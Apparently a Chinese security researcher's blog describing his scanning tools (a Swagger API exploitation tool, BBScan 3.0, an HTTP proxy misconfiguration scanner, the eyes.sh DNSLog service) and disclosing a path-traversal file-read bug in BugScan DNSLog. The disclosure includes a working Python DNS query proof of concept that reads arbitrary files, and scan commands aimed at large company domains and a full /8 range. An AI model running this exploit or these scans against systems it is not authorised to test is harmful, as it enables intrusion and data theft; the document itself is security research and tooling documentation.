Swagger API 信息泄露利用工具

这是一个 Swagger API 信息泄露的利用小工具。 

它完成几个简单的工作:

  • 遍历所有API接口,自动填充参数
  • 尝试 GET / POST  所有接口,返回 Response Code / Content-Type / Content-Length ,用于检查接口是否可以未授权访问利用
  • 分析接口是否存在敏感参数,例如 [‘url’, ‘path’, ‘uri’],容易引入外网的SSRF漏洞
  • 检测 API认证绕过漏洞
  • 在本地监听一个Web Server,打开Swagger UI界面,供分析接口使用
  • 使用Chrome打开本地Web服务器,并禁用CORS,解决部分API接口无法跨域请求的问题
  • 当工具检测到HTTP认证绕过漏洞时,本地服务器拦截API文档,修改path,以便直接在Swagger UI中进行测试

[2024-06-07] 增加支持 OpenAPI 3.0 格式的文档

工具地址: https://github.com/lijiejie/swagger-exp

BBScan3.0,一个高并发的Web漏洞扫描工具,辅助API安全测试

本文链接: https://mp.weixin.qq.com/s/AvLpKKsqRkzdzatvqqvfuQ

背景

随着时间推移,BBScan作为一款漏洞扫描工具已经过时,在9年前,这样的工具还能够以数量和速度优势,捡到一些中低危漏洞,但如今,确实是扫不到什么有价值的东西了。

常见Web框架引入了更多的默认安全设计、WAF/RASP等防护技术更加成熟,曾经常见的SQL注入/XSS/命令注入等,现在反而见得不多了。取而代之的,各大SRC现在收到的漏洞中,有相当比例是逻辑越权类的。

于是,笔者对这款古董级的BBScan进行了如下改造

  • 支持Web指纹识别,帮助安全工程师快速定位到感兴趣的应用
  • 支持Javascript 解析功能
    • 目前很多站点是单页应用,对扫描器可见的仅仅是静态资源打包后的少数几个.js。扫描器需要解析js,扫描诸如 Token/Secrets/Password/Key 泄露,发现API接口
  • 支持从javascript文件中,正则提取疑似API接口
    • 在当前版本中,考虑到速度,并没有对提取的URL进行自动化测试,但计划增加一个heavy mode ,扫描API接口
  • 减少漏报:  优化减少DNS查询次数,提高稳定性。在家庭网络环境下,观察到DNS设施相对脆弱,容易出现漏报问题
  • 减少误报:优化了误报验证逻辑
  • 界面优化:对输出的HTML报告,进行了简单优化,提升可读性

改造效果

BBScan项目地址:https://github.com/lijiejie/BBScan

笔者首先利用另一个工具 subDomainsBrute暴力枚举了3个域名 

*.baidu.com *.qq.com *.bytedance.com

随后将发现的域名文件丢给BBScan,扫描生成3份报告(请复制后打开)

如上图所示,扫描器利用默认的内置规则,能够识别到这是一个管理后台。同时,扫描器还从js文件中,提取到12个疑似API接口。

针对这样的一份报告,可以进行如下处理

  • 首先检查通过内置规则扫出的漏洞,一般是信息泄露、各类后台、JS中的秘钥泄露
  • 检查web指纹是否识别到你可能感兴趣的通用应用、框架、开源或商业产品
  • 对发现API接口的站点,进行重点分析和测试,点开感兴趣的接口重点分析和扫描
  • 对API网关进行测试和评估
  • 对报告中泄露的内网域名、IP进行简单分析
  • 通过关键词搜索你感兴趣的关键词,如Header Name、特殊的Cookie

使用问题

对大量目标快速指纹识别

  • python BBScan.py –fingerprint -f urls.txt –api

请注意, 这个 –fingerprint 开关,是指定只扫描web指纹,其他规则反而会被禁用。

如下图所示,本工具可以在较短时间内扫描完上万网站

完整扫描模式

  • python BBScan.py -f baidu.com_full.txt –full –api

–network MASK  任何时候都可以使用该参数,把子网中的其他相邻IP,一并添加到扫描任务中。虽然不建议这么做,但下面的命令是真的可以工作,你或许会得到1个超大HTML

  • –host 10.1.1.1 –network 8 –fingerprint

上面的命令指定扫描 10.1.1.1/8 整个内网,打开文件时,可能出现Chrome浏览器Out Of Memeory,所以,建议指定为更小的指,建议不小于16。

–skip, –skip-intranet  排除内网IP的扫描,这对白帽子比较实用,避免浪费扫描资源。

未来优化

BBScan未来可能进一步优化API接口的扫描

  • 增加对API接口的重扫描、分析支持
  • 正则优化,解决API接口提取不够精准的问题
  • 优化对隐蔽API接口的暴力枚举发现、source map泄露发现等
  • 子域名/Email的收集整理、证书的收集整理

因时间有限,部分功能还未开发完成,同时,开发过程测试不充分,请大家反馈功能建议和Bug问题。  🙂

古董扫描器BBScan的复活,希望它对你有一定用。虽然,显然还不够有用。  🙂

项目地址:https://github.com/lijiejie/BBScan

MisConfig HTTP Proxy Scanner:发现配置不当的HTTP网关(正反向代理),突破边界访问企业内网应用

MisConfig HTTP Proxy Scanner是一个web漏洞扫描器,用于扫描发现配置不当的HTTP正反代理:

  • 错误配置的外网反向代理,内网系统被意外暴露到外网
  • 错误配置的外网正向代理,攻击者可以暴力枚举内网域名,访问内网的生产运维系统、办公系统

本项目地址:https://github.com/lijiejie/MisConfig_HTTP_Proxy_Scanner

本工具介绍: https://mp.weixin.qq.com/s/hnv4HUntZtApjNCbhv34ow

开源DNSLog工具eyes.sh

背景

eyes.sh 是一个用来辅助安全测试和漏扫工具的DNS Log / HTTP Log检测工具,基于 BugScan DNSLog 优化。 感谢四叶草安全、感谢坤哥 🙂 。

  • 公司内部扫描器每天产生数百万次DNS Log接口调用
  • 因为某些原因,DNSLog服务部署在低配置的海外VPS,成为了扫描系统的一个瓶颈

在这个背景之下,我们对DNSLog服务做了一些简单的优化。

增强的功能

  • 更加友好的分页、删除、查看指定IP,增加搜索功能,增加显示IP定位、显示Request Headers、捕获Request Body
  • 支持监控新记录自动刷新(可以关键词过滤,关注特定目标或特定漏洞)
  • 支持DNS重绑定
  • 接口优化,增加支持Group DNS查询,减少扫描器的接口调用次数
    • 例如,扫描器先以 (主机名+任务ID)做DNS前缀,投递完所有payloads,任务结束时,通过单个查询,检查是否有漏洞被触发
  • API接口域名TTL为0,导致过多无意义查询,修正为1200
    • 原来每次API请求都将产生额外的DNS查询
  • 增加了注册、一键生成随机域名、简单管理开关、简单登录锁定等
  • 数据库优化,后端使用MySQL ,增加索引,数百万记录下查询性能较好

有兴趣的同学可以部署试试:   

https://github.com/lijiejie/eyes.sh

http://eyes.sh    

  • 演示账号 demo / demo@pass,请注意,该账号删除功能无效
  • 也可以在登录页面中选择 创建随机ID并登录
DNSLog
Web Log

关注我的微信公众号,获取更多扫描器代码

BugScan DNSLog中的一处文件遍历漏洞

https://github.com/BugScanTeam/DNSLog 是一个漏洞检测用的 DNSLog 程序。目前这个项目已经归档,不再更新了。

在其DNS解析的代码中,存在如下片段(可能是开发在测试的时候无意间写入)

https://github.com/BugScanTeam/DNSLog/blob/master/dnslog/zoneresolver.py

if qtype == 'TXT':
    txtpath = os.path.join(tempfile.gettempdir(), str(qname).lower())
    if os.path.isfile(txtpath):
	reply.add_answer(
	    RR(qname, QTYPE.TXT, rdata=TXT(open(txtpath).read().strip())))

可以看到,程序会尝试读取临时文件夹下以qname参数命名的文件,返回TXT记录。然而,qname参数是攻击者可控的的任意字符串。攻击者可以通过 .. 来跨目录,实现读取任意文件。

不过,分析后发现这里利用条件较为苛刻: 首先,命令行工具不允许出现两个点 .. 这样的空Label畸形DNS查询(攻击者可以自己编程发送畸形请求)。同时,发现qname其实是一个dnslib.label.DNSLabel对象, str(qname) 会自动在字符串后面追加一个分隔符 “.” , 这是TXT记录常见的字符串表示。 见 dnslib\label.py

def __str__(self):
    return ".".join([ s.decode() for s in self.label ]) + "."

上述str函数让这个文件读取漏洞的利用价值大打折扣,因为在python的open函数中,无法通过像\x00截断、回车换行符截断,或者是web server用问号带参数的形式,实现截断掉多余的点号。 但是,在Windows下,读取文件的时候,多一个点号也是能读取成功的。 也即: 读 C:\1.txt. 能直接读取到 C:\1.txt 的内容。 所以,虽然是一个鸡肋漏洞,但还是可以成功演示其利用过程。已知在我的Windows系统中, 存在 C:\InstallConfig.ini,编写如下利用代码:

import dns.query


qname = dns.name.Name(('.', './', './', './', './', './', './', './', './InstallConfig.ini'))
_qname = qname.concatenate(dns.name.root)
request = dns.message.make_query(_qname, 'TXT', 1)
request.use_edns(-1, 0, 0)
response = dns.query.udp(request, '127.0.0.1', 10.0, 53, source=None, source_port=0)
print(response)
Windows读取C:\ 文件

如图所示,成功读取到C:\InstallConfig.ini 的内容。 [Install] 后面的内容为该文件内容。

下面示例在Linux系统下读取文件。 为了证明,创建一个 /test.txt. 文件,写入一段文字。改变上述代码中的文件路径

qname = dns.name.Name(('./', './', './', './', './', './', './', './test.txt'))

如图所示,成功读取了 /test.txt. 文件的内容。

可见,文件读取漏洞存在,但因为str函数的表示,让漏洞利用价值较低。 在Windows下可以读取更多文件,但Linux下无法截断点号,暂时只能读取点号. 结尾的文件。